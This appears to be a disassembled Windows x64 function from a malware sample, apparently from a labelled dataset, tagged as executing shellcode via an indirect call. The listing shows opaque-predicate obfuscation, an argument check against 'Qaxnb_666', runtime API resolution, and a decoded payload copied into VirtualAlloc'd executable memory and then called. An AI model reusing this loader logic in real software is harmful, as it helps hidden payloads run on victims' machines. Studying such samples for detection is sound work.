Function at 0x140004980
Capabilities:
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x248
lea rbp, [rsp + 0x20]
lea rcx, [0x14006e037]
call fcn.14000126c
movzx eax, byte [0x14005a91c]
movsx eax, al
mov dword [rbp + 0x204], eax
call fcn.140003780
movsx eax, al
mov ecx, dword [rbp + 0x204]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x208], eax
call fcn.1400036f0
movsx eax, al
imul eax, eax, 6
mov dword [rbp + 0x20c], eax
call fcn.1400036c0
movsx eax, al
mov ecx, dword [rbp + 0x20c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rbp + 0x208]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x14005a91b]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x14005a918]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140004af3
mov eax, 8
imul rax, rax, 1
lea rdx, str.Qaxnb_666
mov rcx, qword [rbp + 0x248]
mov rcx, qword [rcx + rax]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140004a4c
mov qword [rbp + 0x208], 1
jmp 0x140004a57
mov qword [rbp + 0x208], 0
cvtsi2sd xmm0, qword [rbp + 0x208]
call fcn.1400044b0
mov dword [rbp + 0x210], eax
movzx ecx, byte [0x14005a91c]
movsx ecx, cl
mov dword [rbp + 0x214], ecx
call fcn.140003780
movsx eax, al
mov ecx, dword [rbp + 0x214]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x218], eax
call fcn.1400036f0
movsx eax, al
mov dword [rbp + 0x21c], eax
call fcn.1400036c0
movsx eax, al
mov ecx, dword [rbp + 0x21c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rbp + 0x218]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x14005a91b]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x14005a918]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rbp + 0x210]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x140004af3
xor eax, eax
cmp eax, 2
je 0x140004af3
call fcn.140001212
movzx eax, byte [0x14005a91c]
movsx eax, al
mov dword [rbp + 0x204], eax
call fcn.140003780
movsx eax, al
mov ecx, dword [rbp + 0x204]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x208], eax
call fcn.1400036f0
movsx eax, al
imul eax, eax, 7
mov dword [rbp + 0x20c], eax
call fcn.1400036c0
movsx eax, al
mov ecx, dword [rbp + 0x20c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rbp + 0x208]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x14005a91b]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x14005a918]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140004e6b
call fcn.140001019
movzx eax, al
cmp eax, 1
jne 0x140004b85
mov qword [rbp + 0x208], 1
jmp 0x140004b90
mov qword [rbp + 0x208], 0
cvtsi2sd xmm0, qword [rbp + 0x208]
call fcn.1400044b0
mov dword [rbp + 0x210], eax
movzx ecx, byte [0x14005a91c]
movsx ecx, cl
mov dword [rbp + 0x214], ecx
call fcn.140003780
movsx eax, al
mov ecx, dword [rbp + 0x214]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x218], eax
call fcn.1400036f0
movsx eax, al
shl eax, 3
mov dword [rbp + 0x21c], eax
call fcn.1400036c0
movsx eax, al
mov ecx, dword [rbp + 0x21c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rbp + 0x218]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x14005a91b]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x14005a918]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rbp + 0x210]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x140004e6b
xor eax, eax
cmp eax, 3
je 0x140004e6b
movzx eax, byte [0x14005a91c]
movsx eax, al
mov dword [rbp + 0x204], eax
call fcn.140003780
movsx eax, al
mov ecx, dword [rbp + 0x204]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x208], eax
call fcn.1400036f0
movsx eax, al
imul eax, eax, 6
mov dword [rbp + 0x20c], eax
call fcn.1400036c0
movsx eax, al
mov ecx, dword [rbp + 0x20c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rbp + 0x208]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x14005a91b]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x14005a918]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140004e66
lea rax, [rbp + 0xe4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x134]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x104]
lea rcx, [rbp + 0xe4]
call fcn.140003180
mov rcx, rax
call fcn.140001113
mov qword [rbp + 0x208], rax
lea rdx, [rbp + 0x154]
lea rcx, [rbp + 0x134]
call fcn.140003570
mov rcx, rax
call fcn.14000114f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [rbp + 0x208]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x14000cda8]
call rax
cdqe
cvtsi2sd xmm0, rax
call fcn.1400044b0
mov dword [rbp + 0x210], eax
movzx ecx, byte [0x14005a91c]
movsx ecx, cl
mov dword [rbp + 0x214], ecx
call fcn.140003780
movsx eax, al
mov ecx, dword [rbp + 0x214]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x218], eax
call fcn.1400036f0
movsx eax, al
mov dword [rbp + 0x21c], eax
call fcn.1400036c0
movsx eax, al
mov ecx, dword [rbp + 0x21c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rbp + 0x218]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x14005a91b]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x14005a918]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rbp + 0x210]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x140004e66
xor eax, eax
cmp eax, 6
je 0x140004e66
lea rax, [rbp + 0x184]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1d4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x1a4]
lea rcx, [rbp + 0x184]
call fcn.140003420
mov rcx, rax
call fcn.1400012ad
mov qword [rbp + 0x208], rax
lea rdx, [rbp + 0x1f4]
lea rcx, [rbp + 0x1d4]
call fcn.1400032d0
mov rcx, rax
call fcn.14000127b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [rbp + 0x208]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Error
xor ecx, ecx
call rax
call fcn.140001212
mov edx, 0x4b918
lea rcx, section..data
call fcn.140001046
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x4b918
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
mov r8d, 0x4b918
lea rdx, section..data
mov rcx, qword [rbp + 8]
call sub.VCRUNTIME140.dll_memcpy
call qword [rbp + 8]
xor eax, eax
lea rsp, [rbp + 0x228]
pop rdi
pop rbp
ret